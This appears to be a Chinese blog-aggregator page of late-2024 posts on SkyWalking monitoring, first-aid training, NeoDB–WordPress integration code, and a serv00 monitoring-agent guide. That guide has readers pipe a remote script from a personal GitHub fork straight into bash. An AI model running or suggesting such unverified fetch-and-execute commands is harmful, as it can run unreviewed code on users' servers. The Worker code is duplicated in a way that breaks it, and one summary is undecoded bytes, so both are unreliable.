  • 服务拓扑图:SkyWalking可以根据收集到的数据生成服务拓扑图,展示服务之间的依赖关系和调用关系,方便用户进行故障排查和性能优化。
  • 追踪分析:SkyWalking支持对分布式调用链进行追踪分析,可以帮助用户快速定位性能瓶颈和故障点。
  • 告警管理:SkyWalking提供了告警管理功能,可以根据预设的规则和阈值对异常情况进行告警,帮助用户及时发现和解决问题。

技术架构:

  • SkyWalking采用了分布式的架构设计,通过多个组件共同协作来实现监控功能。主要组件包括Collector(负责收集应用程序的性能数据)、Storage(负责存储收集到的性能数据)、Analysis(负责对收集到的性能数据进行分析和处理)以及UI(提供用户界面,展示性能数据和服务拓扑图等信息)。

使用场景:

  • SkyWalking主要用于监控分布式系统的性能问题,特别适用于微服务架构和云原生应用的监控。它可以提供详细的调用链信息和性能指标,帮助用户快速定位性能瓶颈和故障点。

Prometheus

Prometheus是一个开源的监控系统和时间序列数据库,以下是对Prometheus的详细评价:

功能特点:

  • 指标收集:Prometheus可以通过配置监控目标来收集各种指标数据,包括系统资源使用情况、应用程序性能指标等。
  • 时序数据库:Prometheus将收集到的指标数据存储在时序数据库中,支持高效的数据存储和查询。
  • 数据可视化:Prometheus提供了丰富的数据可视化工具(如Grafana),可以将收集到的指标数据以图表的形式展示出来,帮助用户直观地了解系统运行状况。
  • 告警管理:Prometheus支持基于规则的告警管理,可以根据预设的条件和阈值对异常情况进行告警,帮助用户及时发现和解决问题。

技术架构:

  • Prometheus采用了单节点的架构设计,每个Prometheus实例都是独立的,通过HTTP协议进行通信。主要组件包括Prometheus Server(负责收集指标数据,并提供服务发现和告警管理等功能)、Exporters(负责从其他系统或应用程序中收集指标数据,并将其暴露给Prometheus Server)、Client Library(提供客户端库,用于在应用程序中嵌入指标数据采集逻辑)以及Alertmanager(负责管理和处理告警信息,支持多种告警方式和通知渠道)。

使用场景:

  • Prometheus主要用于收集和存储各种类型的指标数据,特别适用于系统资源使用情况的监控和度量。它可以提供高效的数据存储和查询能力,支持自定义指标和告警规则,帮助用户了解系统的运行状况和健康状况。

综合对比

  • 功能侧重点:SkyWalking更侧重于分布式系统的性能监控和追踪分析,而Prometheus则更侧重于系统资源使用情况的监控和度量。
  • 架构差异:SkyWalking采用分布式架构设计,适用于大规模分布式系统的监控;而Prometheus采用单节点架构设计,易于部署和管理。
  • 可视化与告警:两者都提供了丰富的可视化工具和告警管理功能,但SkyWalking在分布式追踪和性能监控方面的可视化展示更具优势。
  • 侵入性:SkyWalking埋点无侵入,已加入Apache孵化器,遵循OpenTelemetry规范,探针性能对被接入的应用系统吞吐量影响小。

综上,SkyWalking比较符合咱们产品的应用场景。

二、应用接入方式

SkyWalking平台管理界面地址为:http://192.168.1.86:19000/

应用接入SkyWalking平台的方式分为Java项目接入和Node.js项目接入。接入完成之后,可以在上述管理界面进行查看应用信息。

Java项目接入

下载 Apache SkyWalking的Java Agent:https://dlcdn.apache.org/skywalking/java-agent/9.3.0/apache-skywalking-java-agent-9.3.0.tgz

把压缩包 apache-skywalking-java-agent-9.3.0.tgz 拷贝到项目的指定目录比如 /files

修改一下项目的 Dockerfile 文件, 把项目中的SkyWalking Agent压缩包解压并拷贝到容器中的指定目录,比如/usr/local

# 把项目中的SkyWalking Agent解压拷贝至容器中的指定目录中
COPY files/apache-skywalking-java-agent-9.3.0.tar /usr/local
RUN tar -xvf /usr/local/apache-skywalking-java-agent-9.3.0.tar -C /usr/local

启动参数里面加Java Agent的设置:

-javaagent:skywalking-agent/skywalking-agent.jar -Dskywalking.agent.service_name=planner-workbench-server -Dskywalking.collector.backend_service=192.168.1.86:11800

其中:

  • javaagent 配置skywalking-agent.jar文件在解压包中的位置
  • skywalking.agent.service_name 配置你应用的名称。不同环境可用加环境后缀进行区分。例如:planner-workbench-server-dev、planner-workbench-server-sit
  • skywalking.collector.backend_service 配置SkyWalking平台地址。其中11800为默认接入端口

上述配置,也可用通过容器的环境变量来修改

  • SKYWALKING_AGENT_SERVICE_NAME=planner-workbench-server
  • SKYWALKING_COLLECTOR_BACKEND_SERVICE=192.168.1.86:11800

参考:https://skywalking.apache.org/docs/skywalking-java/latest/en/setup/service-agent/java-agent/readme/#setup-java-agent

Node.js项目接入

安装SkyWalking NodeJS包:

$ npm install --save skywalking-backend-js

设置NodeJS Agent

import agent from 'skywalking-backend-js';

agent.start();

配置应用的名称和SkyWalking平台地址:

agent.start({
  serviceName: 'integration-ui',
  collectorAddress: '192.168.1.86:11800',
});

以上仅为参考范例,具体的配置值应设置为环境变量。

参考:https://www.npmjs.com/package/skywalking-backend-js

December 26, 2024 12:22 AM

meituan

2024 | 美团技术团队热门技术文章汇总

b'\xe6\x9c\xac\xe6\x96\x87\xe6\x95\xb4\xe7\x90\x86\xe4\xba\x862024\xe5\xb9\xb4\xe7\xbe\x8e\xe5\x9b\xa2\xe6\x8a\x80\xe6\x9c\xaf\xe5\x9b\xa2\xe9\x98\x9f\xe6\x9c\x80\xe4\xb8\xba\xe7\x83\xad\xe9\x97\xa8\xe7\x9a\x8410\xe7\xaf\x87\xe6\x8a\x80\xe6\x9c\xaf\xe6\x96\x87\xe7\xab\xa0\xef\xbc\x8c\xe8\xbf\x99\xe4\xba\x9b\xe6\x96\x87\xe7\xab\xa0\xe8\xa6\x86\xe7\x9b\x96\xe4\xba\x86\xe5\x9f\xba\xe7\xa1\x80\xe7\x90\x86\xe8\xae\xba\xe3\x80\x81\xe6\x95\xb0\xe6\x8d\xae\xe5\xad\x98\xe5\x82\xa8\xe3\x80\x81\xe5\x9b\xa0\xe6\x9e\x9c\xe6\x8e\xa8\xe6\x96\xad\xe3\x80\x81\xe6\x90\x9c\xe7\xb4\xa2\xe6\x8e\xa8\xe8\x8d\x90\xe3\x80\x81\xe6\x99\xba\xe8\x83\xbd\xe6\xb5\x8b\xe8\xaf\x95\xe3\x80\x81\xe7\x9f\xa5\xe8\xaf\x86\xe5\x9b\xbe\xe8\xb0\xb1\xe3\x80\x81\xe9\xa2\x86\xe5\x9f\x9f\xe9\xa9\xb1\xe5\x8a\xa8\xe8\xae\xbe\xe8\xae\xa1\xe7\xad\x89\xe5\xa4\x9a\xe4\xb8\xaa\xe6\x8a\x80\xe6\x9c\xaf\xe9\xa2\x86\xe5\x9f\x9f\xef\xbc\x8c\xe6\x9c\x9f\xe6\x9c\x9b\xe8\xbf\x99\xe4\xba\x9b\xe7\xb2\xbe\xe9\x80\x89\xe5\x86\x85\xe5\xae\xb9\xe8\x83\xbd\xe4\xb8\xba\xe5\xa4\xa7\xe5\xae\xb6\xe5\xb8\xa6\xe6\x9d\xa5\xe4\xb8\x80\xe4\xba\x9b\xe5\x90\xaf\xe5\x8f\x91\xe6\x88\x96\xe5\xb8\xae\xe5\x8a\xa9\xe3\x80\x82\xe6\x84\xbf\xe5\xa4\xa7\xe5\xae\xb6\xe5\x9c\xa8\xe6\x96\xb0\xe7\x9a\x84\xe4\xb8\x80\xe5\xb9\xb4\xe9\x87\x8c\xef\xbc\x8c\xe6\x8c\x81\xe7\xbb\xad\xe6\xb7\xb1\xe8\x80\x95\xe6\x8a\x80\xe6\x9c\xaf\xe6\xb2\x83\xe5\x9c\x9f\xef\xbc\x8c\xe7\xa8\xb3\xe6\xad\xa5\xe5\x89\x8d\xe8\xa1\x8c\xef\xbc\x8c\xe4\xb8\x8d\xe6\x96\xad\xe6\x94\x80\xe7\x99\xbb\xe6\x96\xb0\xe7\x9a\x84\xe9\xab\x98\xe5\xb3\xb0\xe3\x80\x82'

by 美团技术团队 at December 26, 2024 12:00 AM

December 25, 2024

anotherdayu

急救培训

目前国内急救培训主要有两类:

  • 美国心脏协会(AHA,American Heart Association),技能证明类证书,非政府组织,学费为 800-1000 元。优势是小班授课,有充分的联系和沟通时间,证书可在大多数国家通用。
  • 红十字会组织的急救培训,政府公益性质,课程设置稍微简单一些,大部分是免费授课。核心部分两者相通。如无出国需求,考红十字会的即可。

想着既然感兴趣,就学最完整的版本。另外,马上要出国工作 2 年,对国际范围覆盖有需求,就报名了适用范围更广的 AHA 课程。

起初,我还陷入过一个误区,以为获取 AHA 或红十字会证书之后,才能获得「好人法」的救助豁免权。但实际上根据 2021 年 1 月 1 日起实施的中华人民共和国民法典第 184 条,因自愿实施紧急救助行为造成受助人损害的,救助人不承担民事责任。

即原则上自愿的,无任何酬劳的急救都是免责的。

所以学习和考证,是为了做更充足的准备,以便在需要的时刻保护自己,帮助他人。

给自己多一份勇气。

AHA

我学习的是针对大众的 AHA HeartSaver First Aid CPR AED 课程,一天可以学完,有三场实践考核和一场笔试。心肺复苏(CPR)和自动体外除颤器(AED)是培训的重点,还包括很多生活中常见的急救知识。

知识量很大,以视频课程、教师讲解和现场实践为主,上了一天课头晕晕的,仿佛回到了高中。

同场次有 6 名学员,其中 2 位马拉松爱好者,2 位健身爱好者,一位很精神的初中生,和我。其中有一位练的相当出色的女健身老师,AHA 证书可以抵一些他们从业的学分,也能增加自身的专业程度。

比较有收获的是实践部分,有假人、AED 培训设备等,挺还原事发现场。

小缺点是课程设计虽然经典,且能让所有人获得足够的信息,但确实陈旧了一些,大部分时间在看录像带,体验欠佳。国外 AHA 课程允许学员先在家中通过网络课程学习视频内容,随后前往 AHA 培训中心进行实践测试,最终获得认证。这样更方便安排时间,人性化很多!

IMG_2560.jpeg

AED 地图

目前国内寻找附近AED的方法主要有以下几种:

  • 最近的地铁站;
  • 在大商场的话,快速联系保安;
  • 微信小程序里搜:AED 急救地图(左);
  • 微信-我-服务-城市服务-搜索「AED网点查询」(右),信息较多!目前测试了几次,离开微信之后,总是加载不出来;
  • 高德、百度地图等软件中搜索 AED,信息较少。
CleanShot 2024-12-25 at 20.01.38@2x.png

国外的我则找到了这一款软件 Life Saver,等以后试试看!

IMG_2593.PNG

对了,今年刚好是美国心脏协会成立 100 周年。

祝大家身体健康!

by Dayu at December 25, 2024 12:34 PM

December 22, 2024

howiehz

基于 OneBot API 的简易异步 QQ 群批量发消息脚本

本文介绍了一个基于 OneBot API 的简易异步 QQ 群批量发消息脚本。 亮点 高效异步执行 自带进度条 支持随机选择信息 易于使用 轻量 - 仅引用两个第三方库(一个用于异步发送请求,另一个用于显示进度条) 注意:为适配自动化框架,程序将在运行结束 30 秒后自动退出。 如何使用 部署 On

by HowieHz at December 22, 2024 05:14 PM

December 21, 2024

nbmao

聚合DNS已更新SSL证书自动申请与部署功能

彩虹聚合DNS管理系统 V2.0 版本已更新,该版本新增SSL证书申请与自动部署功能,支持从Let's Encrypt等渠道申请SSL证书,并自动部署到各种面板、云服务商、服务器等,支持CNAME代理功能。

支持的SSL证书申请方式:
Let's Encrypt、ZeroSSL、Google SSL、自定义ACME、腾讯云免费SSL、阿里云免费SSL、UCloud免费SSL

支持的SSL证书部署方式:
宝塔面板、1Panel、Kangle、雷池WAF、Cdnfly、LeCDN、GoEdge(FlexCDN)、
阿里云(CDN、ESA、SLB、OSS、WAF、FC等)、腾讯云(CDN、EO、CLB、COS、TKE、SCF等)、华为云(CDN、ELB、WAF)、UCloud CDN、七牛云(CDN、OSS)、多吉云CDN、百度云CDN、火山引擎CDN、白山云、AllWAF、AWS(CloudFront)、Gcore、Cachefly
SSH服务器(同时支持Linux/Windows)、IIS、FTP服务器、复制到本机

除此之外,2.0版本还新增了登录TOTP二次验证功能。

简介图片
新增SSL申请账户
聚合DNS已更新SSL证书自动申请与部署功能

SSL证书订单管理
聚合DNS已更新SSL证书自动申请与部署功能

新增SSL证书部署账户
聚合DNS已更新SSL证书自动申请与部署功能

自动部署任务管理
聚合DNS已更新SSL证书自动申请与部署功能

CNAME代理记录管理
聚合DNS已更新SSL证书自动申请与部署功能

下载地址:
https://github.com/netcccyun/dnsmgr/releases

使用说明:
1、按照以下步骤使用:①添加计划任务 ②添加SSL证书账户 ③添加SSL证书订单 ④添加自动部署账户 ⑤添加自动部署任务
2、SSL证书申请可以控制台手动执行,也可以等待计划任务自动执行,推荐使用计划任务,控制台执行可能会超时。
3、国内服务器如需申请Google SSL,需要先配置代理

by 笨猫 at December 21, 2024 04:06 PM

waylau

《鸿蒙HarmonyOS应用开发从入门到精通(第2版)》简介

《鸿蒙HarmonyOS应用开发从入门到精通(第2版)》已于近日上市,该书由北京大学出版社出版。距离第1版上市已经过去二年半多。本文希望与读者朋友们分享下这本书里面的大致内容。

封面部分

首先是介绍封面部分。

《鸿蒙HarmonyOS应用开发从入门到精通(第2版)》封面部分延续了第一版全黑设计,富有科技感和神秘感。

中部是个类似于黑洞或者瞳孔图样,寓意着活力或者张力吧。

上书蓝色“鸿蒙HarmonyOS”两字,这个配色还是具有非常高的辨识度的。下面的英文“HarmonyOS”中的“r”处理的看着夸张,实际上是为了把下面中文给框住,呈现出主次分明的设计感。

可以看到,底部是出版社“北京大学出版社”字样。

整体来说,这个封面相对高级,设计走的一贯的黑色风格。蓝、黑、白三色搭配还是比好看。

封底部分

介绍封底部分。

封底部分可以看到是两位重量级华为大咖背书,而且都是鸿蒙团队核心人员。

这本书归类为计算机/HarmonyOS。

全书589页,比较厚,内容比较全面,定价为129元,也算良心了。极具性价比。

内容简介

华为自主研发的HarmonyOS(鸿蒙系统)是一款面向未来、面向全场景(移动办公、运动健康、社交通信、媒体娱乐等)的分布式操作系统。本书采用HarmonyOS最新版本作为基石,详细介绍如何基于HarmonyOS进行应用的开发,包括HarmonyOS架构、DevEco Studio、应用结构、Ability、安全管理、公共事件、通知、Java UI、ArkTS、ArkUI、Stage模型、设备管理、数据管理、线程管理、视频、图像、网络管理等多个主题。本书辅以大量的实战案例,图文并茂,使读者易于理解和掌握。同时,本书的案例选型偏重于解决实际问题,具有很强的前瞻性、应用性和趣味性。加入HarmonyOS生态,让我们一起构建万物互联的新时代!

本书主要面向的是对HarmonyOS应用开发感兴趣的学生、开发人员、架构师。

写作背景

中国信息产业一直是“缺芯少魂”,其中的“芯”指的是芯片,而“魂”则是指操作系统。而自2019年5月15日起,美国陆续把包括华为在内中国高科技企业列入其所谓的“实体清单”(Entities List),标志着科技再次成为中美博弈的核心领域。

随着谷歌暂停与华为的部分合作,包括软件和技术服务的转让。华为在国外市场已经面临着升级Android版本、搭载谷歌服务等方面遇到困境。在这样的背景下,华为顺势推出HarmonyOS,以求在操作系统领域不被受制于人。

HarmonyOS是一款“面向未来”、面向全场景(移动办公、运动健康、社交通信、媒体娱乐等)的全新的分布式操作系统。作为操作系统领域的新成员,HarmonyOS势必会面临着bug多、学习资源缺乏等众多困难。为此,笔者在开源社区,以开源方式推出了免费系列学习教程《跟老卫学HarmonyOS开发》(https://github.com/waylau/harmonyos-tutorial),以帮助HarmonyOS爱好者入门。同时,为了让更多的人了解并使用HarmonyOS,笔者将自身工作、学习中遇到的问题、难题进行了总结,形成了本书,以补市场空白。

距离《鸿蒙HarmonyOS应用开发从入门到精通》2022年4月第1版已逾两载。热心的读者对于本书也投以了极大的关注,伴随着本书的成长,提了很多中肯的建议。对于这些意见,不管褒贬,一并全收,于是才有了第2版的可能。

对于技术型的书籍创作,笔者更加倾向于采用当今软件开发主流的方式——敏捷。敏捷写作打通了编写、校稿、出版、发行的整个流程,让知识可以第一时间呈现给读者。读者在阅读本书之后,也可以及时对书中的内容进行反馈,从而帮助作者完善书中内容,最终形成了良好的反馈闭环。所以,第2版所更新的内容,应该正是读者所期待的。

由于近些年HarmonyOS版本迭代较快,发展迅猛,特别是HarmonyOS 3版本引入了ArkTS语言,产生了新的编程模式。因此,本书第2版修改篇幅较大,各章节都做了大幅度更新。完整的修改内容,可以参阅本书后面部分“附录B:本书1版与2版的差异对比”章节内容。

内容介绍

全书大致分为了3部分:

  • 入门(1-4章):介绍HarmonyOS的背景、开发环境搭建,并创建一个简单的HarmonyOS应用,介绍了应用结构。
  • 进阶(5-15章):介绍HarmonyOS的核心功能的开发,内容包括Ability、安全管理、公共事件、通知、Java UI、ArkTS、ArkUI、Stage模型、设备管理、数据管理、线程管理、视频、图像、网络管理等。
  • 实战(16-19章):演示HarmonyOS在各类场景下的综合实战案例。

本书主要面向的是对HarmonyOS应用开发感兴趣的学生、开发人员、架构师。

本书特点

1.内容全面,技术新颖

本书几乎囊括了HarmonyOS所涉及的知识点包括HarmonyOS架构、DevEco Studio、应用结构、Ability、安全管理、公共事件、通知、ArkTS、ArkUI、Stage模型、设备管理、数据管理、线程管理、视频、图像、网络管理等多个主题。方面的内容,并提供了针对各类场景下的综合实战案例,包括智能穿戴、智慧屏、手机等应用。技术前瞻,案例丰富。不管是编程初学者,还是编程高手,都能从本书中获益。本书可作为读者案头的工具书,随手翻阅。

2.图文并茂,代码精彩

基于最新HarmonyOS技术展开,手把手传授从入门到精通的诀窍!

在线提供的源代码紧跟版本迭代,目前已经更新到HarmonyOS NEXT(HarmonyOS 5)版本。不用担心知识点过时哦。

3.案例丰富,实战性强

本书提供了丰富的基于HarmonyOS技术点的实例68个,将理论讲解最终落实到代码实现上来。在掌握了基础之后,另外提供了4个综合性实战案例。这些案例从零开始,最终实现了一个完整的企业级应用,内容具有很高的应用价值和参考性。

4.附赠资源

本书提供了书中涉及的所有实例的源文件。读者可以一边阅读本书,一边参照源文件动手练习,这样不仅提高了学习的效率,而且可以对书中的内容有更加直观的认识,从而逐渐培养自己的编程能力。

源代码

本书提供的素材和源代码可从以下网址下载: https://github.com/waylau/harmonyos-tutorial

勘误和交流

本书如有勘误,会在以下网址发布: https://github.com/waylau/harmonyos-tutorial/issues

参考引用

December 21, 2024 12:22 AM

pythoncat

Python 潮流周刊#82:美国 CIA 如何使用 Python?

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 12 篇文章,12 个开源项目,全文 2200 字。
以下是本期摘要:
① 美国 CIA 如何使用 Python?
② 从混沌到秩序:Python 的依赖管理工具分析
③ 一日一技:为什么我很讨厌 LangChain?
④ 用 Python 开发一个 DNS 服务器
⑤ 2025 年顶级 Python Web 开发框架
⑥ Python 元循环解释器
⑦ 该放弃 Spark 选择 DuckDb 或 Polars 吗?
⑧ Django 安全漏洞:被忽视的默认加固设置
⑨ 在电子墨水屏上展示网站内容
⑩ 一个 monkeypatch 引起的循环引用问题
⑪ 将所有质数绘制在极坐标系上,为何会呈现出螺旋模式?
⑫ Claude 的 MCP (模型上下文协议)有啥用?
① markitdown: 将各种文件转换为 Markdown 格式
② systemd-pilot:用于管理 systemd 服务的桌面程序
③ wowy:基于 Django 4.x 的电子商务平台
④ NarratoAI:利用AI大模型,一键解说并剪辑视频
⑤ HunyuanVideo:腾讯开源的混元大模型
⑥ SeleniumBase:网络自动化、测试以及绕过机器人检测
⑦ BlackSheep:快速的 Python ASGI Web 框架
⑧ PDFMathTranslate:基于 AI 的 PDF 文档全文双语翻译
⑨ cookbook:谷歌 Gemini API 的示例和指南
⑩ tkforge:用 Figma 轻松创建 Python GUI
⑪ MegaParse:利用 LLM 无损解析 PDF、Docx、PPTx
⑫ NoteFlow:Python 开发的轻量级笔记应用
周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个你绝对不会后悔的专栏:https://xiaobot.net/p/python_weekly
订阅后,可免费查看 第 82 期周刊的全文:https://www.xiaobot.net/post/4c72c27f-217c-480a-9abe-d44379541a1f
Python 潮流周刊第 2 季完结了,分享几项总结:https://pythoncat.top/posts/2024-07-14-iweekly
周刊前30期的免费合集,含精美电子书(EPUB/PDF):https://pythoncat.top/posts/2023-12-11-weekly
万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!:https://xiaobot.net/post/78c3d645-86fa-4bd8-8eac-46fb192a339e

December 21, 2024 12:00 AM

December 20, 2024

anotherdayu

WordPress 插件-NeoDB Integration 书影音展示页面

将 NeoDB 书影音记录整合到 WordPress 中 实现了将 NeoDB 观影记录添加到 WordPress 页面中,展示页面:NeoDB 书影音

但流程较为复杂,本文将 Cloudflare worker 和 functions.php 整合成了 WordPress 插件,进一步简化流程。

本人无相关代码经验,插件由 ChatGPT 协助生成,时代真的变了。

使用方法

NeoDB API Developer Console 中点击Test Access Token,并 Generate 一个 NeoDB Bearer Token,示例:Th2121_qs-8agMAlSrkE_tzBbcvjsdkjtlCtr9QHX321312312Ytzo8_YmOxjxg

在终端(Terminal)或命令提示符(Command Prompt)中输入以下代码,将 YOUR_TOKEN 替换为 NeoDB Bearer Token。

curl -H "Authorization: Bearer YOUR_TOKEN" https://neodb.social/api/me

下载 NeoDB Integration 插件: https://github.com/DayuGuo/NeoDB-wordpress-Integration/releases/tag/gotest

在 WordPress 中安装并激活该插件。

在 Settings-NeoDB Settings 中输入 NeoDB Bearer Token。

在 WordPress 页面或文章中,使用以下短代码来显示数据:{neodb_page},使用时请将{}符号,换成[]。

Settings-NeoDB Settings 中可调整显示的内容、手动更新和清理数据库。

效果示例

https://anotherdayu.com/neodb/

另,附上我的 NeoDB主页:https://neodb.social/users/anotherdayu/,和 mastodon 账号:https://mastodon.social/@anotherdayu

参考资料

by Dayu at December 20, 2024 02:59 AM

December 19, 2024

anotherdayu

将 NeoDB 书影音记录整合到 WordPress 中

朋友们,已将该功能整合成一个WordPress插件,可直接看这篇 WordPress 插件-NeoDB Integration 书影音展示页面,更简单易用。

这两篇文章合在一起,是我第一次使用 ChatGPT 协助制作 WordPress 插件的心路历程。

NeoDB 是一个开源免费的书影音收藏社区平台,详情见:NeoDB | 书影音标记 – 豆瓣、GoodReads 和 Google Book 的替代品

本文参考 hcplantern 的 将 NeoDB 记录整合到 Hugo 中 ,实现了将 NeoDB 观影记录添加到 WordPress 页面中,展示页面:NeoDB 书影音

获取 NeoDB Bearer Token

NeoDB API Developer Console 中点击Test Access Token,并 Generate 一个 NeoDB Bearer Token,示例:Th2121_qs-8agMAlSrkE_tzBbcvjsdkjtlCtr9QHX321312312Ytzo8_YmOxjxg

在终端(Terminal)或命令提示符(Command Prompt)中输入以下代码,将 YOUR_TOKEN 替换为 NeoDB Bearer Token。

curl -H "Authorization: Bearer YOUR_TOKEN" https://neodb.social/api/me

设置 Cloudflare worker

注册 Cloudflare worker,点击 Create,创建一个 worker。

最初会展示一个 Hello World 基础案例,点击 Continue to project – Settings – Variables and Secrets。

添加一个环境变量(Environment Variables):

  • Type:text
  • Variable name:NEODB_TOKEN
  • Value:NeoDB Bearer Token,示例:H13121_qs-8agMAlSrkE_tzBbcvjsdkjtlCtr9QHX321312312Ytzo8_YmOxjxg

点击右上角的 Edit code,删除 worker.js 中全部代码,并将 hcplantern 提供的代码(如下)复制黏贴进去。

const myBearer = NEODB_TOKEN; // Assuming 'NEODB_TOKEN' is set in your Cloudflare Worker's environment variables

addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})

async function handleRequest(request) {
try {
console.log(myBearer)
const url = new URL(request.url);
const category = url.pathname.substring(1);

// Optionally, handle query parameters (e.g., page number)
const page = url.searchParams.get('page') || '1';
// Available values : wishlist, progress, complete
const type = url.searchParams.get('type') || 'complete';

let dbApiUrl = `https://neodb.social/api/me/shelf/${type}?category=${category}&page=${page}`;
const response = await fetch(dbApiUrl, {
method: 'get',
headers: {
'Accept': 'application/json',
'Authorization': `Bearer ${myBearer}`
}
});

// Check if the response from the API is OK (status code 200-299)
if (!response.ok) {
throw new Error(`API returned status ${response.status}`);
}

// Optionally, modify or just forward the API's response
const data = await response.json();
return new Response(JSON.stringify(data), {
headers: { 'Content-Type': 'application/json' },
status: response.status
});

} catch (error) {
// Handle any errors that occurred during the fetch
return new Response(error.message, { status: 500 });
}
}const myBearer = NEODB_TOKEN; // Assuming 'NEODB_TOKEN' is set in your Cloudflare Worker's environment variables

addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})

async function handleRequest(request) {
try {
console.log(myBearer)
const url = new URL(request.url);
const category = url.pathname.substring(1);

// Optionally, handle query parameters (e.g., page number)
const page = url.searchParams.get('page') || '1';
// Available values : wishlist, progress, complete
const type = url.searchParams.get('type') || 'complete';

let dbApiUrl = `https://neodb.social/api/me/shelf/${type}?category=${category}&page=${page}`;
const response = await fetch(dbApiUrl, {
method: 'get',
headers: {
'Accept': 'application/json',
'Authorization': `Bearer ${myBearer}`
}
});

// Check if the response from the API is OK (status code 200-299)
if (!response.ok) {
throw new Error(`API returned status ${response.status}`);
}

// Optionally, modify or just forward the API's response
const data = await response.json();
return new Response(JSON.stringify(data), {
headers: { 'Content-Type': 'application/json' },
status: response.status
});

} catch (error) {
// Handle any errors that occurred during the fetch
return new Response(error.message, { status: 500 });
}
}

然后点击 Deploy 部署即可。

注意在这一步中,需要复制保留左侧 Preview 下方的网址,示例 https://xyz-hall-ohxu.user.workers.dev/

WordPress Shortcode

在 WordPress 管理后台,导航到“外观” -> “主题编辑器”。

找到并编辑当前主题的 functions.php 文件。

将以下代码添加到 functions.php 文件中。这段代码创建了一个名为 neodb 的短代码。

注意:将代码中的 https://your-worker-url/ 替换为 Cloudflare worker 中的 https://xyz-hall-ohxu.user.workers.dev/

function neodb_shortcode($atts) {
$atts = shortcode_atts(
array(
'category' => 'book',
'type' => 'complete',
),
$atts,
'neodb'
);

$category = $atts['category'];
$type = $atts['type'];

$url = sprintf('https://your-worker-url/%s?type=%s', $category, $type);

$response = wp_remote_get($url);
if (is_wp_error($response)) {
return '数据获取失败';
}

$body = wp_remote_retrieve_body($response);
$data = json_decode($body, true);

if (empty($data['data'])) {
return '没有找到相关数据';
}

ob_start();
?>
<div class="item-gallery">
<?php foreach (array_slice($data['data'], 0, 10) as $value): ?>
<?php $item = $value['item']; ?>
<div class="item-card">
<a class="item-card-upper" href="<?php echo esc_url($item['id']); ?>" target="_blank" rel="noreferrer">
<img class="item-cover" src="<?php echo esc_url($item['cover_image_url']); ?>" alt="<?php echo esc_attr($item['display_title']); ?>">
</a>
<div class="rate">
<?php if (!empty($item['rating'])): ?>
<span><b><?php echo esc_html($item['rating']); ?></b>🌟</span>
<br>
<span class="rating-count"><?php echo esc_html($item['rating_count']); ?>人评分</span>
<?php else: ?>
<span>暂无🌟</span>
<br>
<span class="rating-count"><?php echo esc_html($item['rating_count']); ?>人评分</span>
<?php endif; ?>
</div>
<h3 class="item-title"><?php echo esc_html($item['display_title']); ?></h3>
</div>
<?php endforeach; ?>
</div>
<style>
.item-gallery {
display: flex;
padding: 0 1rem;
overflow-x: scroll;
align-items: baseline;
}
.item-card {
display: flex;
flex-direction: column;
flex: 0 0 17%;
margin: 0 0.5rem 1rem;
border-radius: 5px;
transition: transform 0.2s;
width: 8rem;
}
.item-card:hover {
transform: translateY(-5px);
}
.rate {
text-align: center;
}
.rating-count {
font-size: 0.8rem;
color: grey;
}
.item-cover {
width: 100%;
min-height: 3rem;
border: 2px solid transparent;
}
.item-title {
font-size: 1rem;
text-align: center;
margin: 0;
}
</style>
<?php
return ob_get_clean();
}
add_shortcode('neodb', 'neodb_shortcode');

使用代码

在 WordPress 页面或文章中,使用以下短代码来显示数据:

CleanShot 2024-12-20 at 00.09.10@2x.png

book 可以替换为 movie, tv, podcast, music, game, performance,展示更多数据。

type 可选 wishlist 和 complete,展示想看和看过的内容。

效果示例:https://anotherdayu.com/neodb/

CleanShot 2024-12-19 at 23.56.56@2x.png

另,附上我的 NeoDB主页:https://neodb.social/users/anotherdayu/,和 mastodon 账号:https://mastodon.social/@anotherdayu

by Dayu at December 19, 2024 04:08 PM

howiehz

如何快速完成中文排版优化

前言 手动优化的方法就是照着 中文文案排版指北,复制或创造一套自己的排版指南,并且以此作为方法论来指导网站内容排版。 快速优化的方法就是使用现成的工具。 《中文文案排版指北》已经附上了不少相关工具可供参考 仓库 系列 语言 pangu.js pangu JavaScript pa

by HowieHz at December 19, 2024 09:50 AM

December 18, 2024

howiehz

如何给文章分类和打标签

... 创建这篇文章的时候是 2024 年 7 月 20 日,因为当时对站点分类进行了大调整。 但是一直没想好如何表述,所以这篇文章一直沉在草稿箱里没动笔,今天(2024 年 12 月 18 日)完成一下。 如何分类 如何界定分类 从分类的效用上考虑,分类是为了: 方便管理和查找:帮助访客快速定位需

by HowieHz at December 18, 2024 04:19 AM

December 16, 2024

nbmao

SERV00 免面板一键安装哪吒探针V1 shuxx-ly shuxx-lyLv 2楼主

感谢

本项目基于frankiejun大神的serv00-play的多合一脚本,原代码不支持安装v1,12月5日下午大神关闭了脚本的探针更新功能,正好又恰逢晚上探针更新1.0.5,所以就fork了一个大神的脚本并修改支持nezha-agent v1使用,如有不妥,请告知我删帖

教程

  1. 用ssh工具连接serv00,粘贴并执行以下代码
bash <(curl -Ls https://raw.githubusercontent.com/Lyonnado/serv00-play/refs/heads/main/start.sh)
  1. 选择1) 安装/更新serv00-play项目
  2. 选择14) 管理哪吒探针
  3. 选择1.安装探针,默认版本是v1.0.4,根据提示输入对应内容,正确输入即可在面板显示
  4. 选择2.升级探针,升级到最新版本
  5. 选择9.返回主菜单
  6. 选择6) 设置保活的项目,设置nezha-agent保活

by 笨猫 at December 16, 2024 12:29 PM

December 15, 2024

pythoncat

Python 潮流周刊#81:在个人电脑上运行 GPT-4 级别的大模型

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 12 篇文章,12 个开源项目,2 则音视频,全文 2200 字。
以下是本期摘要:
① 在个人电脑上运行 GPT-4 级别的大模型
② PEP-768:CPython 的安全外部调试接口
③ 深入探究 Celery 任务的弹性,不止基础的重试
④ 将所有函数加到一份检查清单里
⑤ uv:Python 野心勃勃的包管理器的深入指南
⑥ 2024 年的类型化 Python:被广泛采用,但可用性仍有问题
⑦ 2024 年 Python 的现状
